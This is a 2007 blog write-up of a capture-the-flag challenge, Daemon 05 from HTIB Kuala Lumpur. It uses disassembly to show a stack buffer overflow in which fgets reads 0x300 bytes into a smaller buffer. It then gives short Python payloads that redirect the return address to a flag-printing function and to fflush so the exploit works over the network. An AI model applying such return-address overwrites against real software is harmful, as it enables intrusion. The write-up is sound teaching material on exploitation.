Sections
Personal tools
You are here: Home people lamer Archive 2007 September 14 Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05
Document Actions

Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05

by lamer last modified 2007-09-16 10:47

Daemon 05 has a simple buffer overflow error. Exploiting it by returning to a conveniently-left-behind function (an easter egg, I say).

Identify main

Like the previous blog post, let's start with the start function.

.text:080488B0                 public start
.text:080488B0 start           proc near
.text:080488B0                 xor     ebp, ebp
.text:080488B2                 pop     esi
.text:080488B3                 mov     ecx, esp
.text:080488B5                 and     esp, 0FFFFFFF0h
.text:080488B8                 push    eax
.text:080488B9                 push    esp
.text:080488BA                 push    edx
.text:080488BB                 push    offset sub_804C650
.text:080488C0                 push    offset sub_804C5F0
.text:080488C5                 push    ecx
.text:080488C6                 push    esi
.text:080488C7                 push    offset main
.text:080488CC                 call    ___libc_start_main

We identify the main function as the last argument to ___libc_start_main. So let's get to it.

Analyze main

.text:08048ABE main            proc near               ; DATA XREF: start+17↑o
.text:08048ABE
.text:08048ABE var_518         = dword ptr -518h
.text:08048ABE var_514         = dword ptr -514h
.text:08048ABE var_510         = dword ptr -510h
.text:08048ABE var_208         = dword ptr -208h
.text:08048ABE
.text:08048ABE                 push    ebp
.text:08048ABF                 mov     ebp, esp
.text:08048AC1                 sub     esp, 518h       ; char *
.text:08048AC7                 and     esp, 0FFFFFFF0h
.text:08048ACA                 mov     eax, 0
.text:08048ACF                 add     eax, 0Fh
.text:08048AD2                 add     eax, 0Fh
.text:08048AD5                 shr     eax, 4
.text:08048AD8                 shl     eax, 4
.text:08048ADB                 sub     esp, eax
.text:08048ADD                 mov     [esp+518h+var_518], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AE4                 call    _printf
.text:08048AE9                 mov     [esp+518h+var_518], offset aSecretCode ; "Secret Code: "
.text:08048AF0                 call    _printf
.text:08048AF5                 mov     eax, ds:stdout
.text:08048AFA                 mov     [esp+518h+var_518], eax
.text:08048AFD                 call    _fflush
.text:08048B02                 mov     [esp+518h+var_510], 200h
.text:08048B0A                 lea     eax, [ebp+var_208]
.text:08048B10                 mov     [esp+518h+var_514], eax
.text:08048B14                 mov     [esp+518h+var_518], 0
.text:08048B1B                 call    _read
.text:08048B20                 mov     ds:dword_80529DC, eax
.text:08048B25                 mov     [esp+518h+var_510], offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt"
.text:08048B2D                 mov     eax, ds:dword_80529DC
.text:08048B32                 mov     [esp+518h+var_514], eax
.text:08048B36                 lea     eax, [ebp+var_208]
.text:08048B3C                 mov     [esp+518h+var_518], eax
.text:08048B3F                 call    sub_80489F4

First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0x200 (1024) bytes to var_208. So, let's rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.

With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.

After the read is a check for score server packet. We'll skip it. And here comes the juicy part.

.text:08048B44                 mov     eax, ds:stdin
.text:08048B49                 mov     [esp+518h+third_arg], eax
.text:08048B4D                 mov     [esp+518h+second_arg], 300h
.text:08048B55                 lea     eax, [ebp+input_buffer]
.text:08048B5B                 mov     [esp+518h+first_arg], eax
.text:08048B5E                 call    _fgets
.text:08048B63                 mov     [esp+518h+first_arg], offset aWrongCode_ ; "Wrong Code.\n"
.text:08048B6A                 call    _printf
.text:08048B6F                 mov     eax, 0
.text:08048B74                 leave
.text:08048B75                 retn
.text:08048B75 main            endp

The next call is to fgets to read another, uhm, 0x300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.

Ok, that's all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.

.text:08048A60 locret_8048A60:                         ; CODE XREF: sub_80489F4+29↑j
.text:08048A60                 leave
.text:08048A61                 retn
.text:08048A61 sub_80489F4     endp
.text:08048A61
.text:08048A62 ; ---------------------------------------------------------------------------
.text:08048A62                 push    ebp
.text:08048A63                 mov     ebp, esp
.text:08048A65                 sub     esp, 48h
.text:08048A68                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A70                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt"
.text:08048A77                 call    _fopen
.text:08048A7C                 mov     [ebp-0Ch], eax
.text:08048A7F                 mov     eax, [ebp-0Ch]
.text:08048A82                 mov     [esp+8], eax
.text:08048A86                 mov     dword ptr [esp+4], 20h
.text:08048A8E                 lea     eax, [ebp-38h]
.text:08048A91                 mov     [esp], eax
.text:08048A94                 call    _fgets
.text:08048A99                 mov     eax, [ebp-0Ch]
.text:08048A9C                 mov     [esp], eax
.text:08048A9F                 call    _fclose
.text:08048AA4                 lea     eax, [ebp-38h]
.text:08048AA7                 mov     [esp+4],;;; eax
.text:08048AAB                 mov     dword ptr [esp], offset aS ; "\n%s"
.text:08048AB2                 call    _printf
.text:08048AB7                 mov     eax, 0
.text:08048ABC                 leave
.text:08048ABD                 retn
.text:08048ABE
.text:08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:08048ABE
.text:08048ABE ; Attributes: bp-based frame
.text:08048ABE
.text:08048ABE main            proc near               ; DATA XREF: start+17↑o
.text:08048ABE
.text:08048ABE first_arg       = dword ptr -518h
.text:08048ABE second_arg      = dword ptr -514h
.text:08048ABE third_arg       = dword ptr -510h
.text:08048ABE input_buffer    = dword ptr -208h

Look at 08048A62! It's a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!

Exploit it

Now, let's gather what we've have. We can control where main returns to, and we know there's a function that suits our purpose. Therefore, the challenge is... none. We just return to this function!

With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!

import struct
buffer = struct.pack("I", 0x08048A62) * 1000

Remotely exploit it

If you tried out the buffer above, you might find that it didn't work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0x664 bytes. However, only 0x300 bytes are read in. So this approach fails.

Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.

In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:

buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"

Observation

Well, what should I say? Thank you, xWinGs, for this twisted fun!


Powered by Plone CMS, the Open Source Content Management System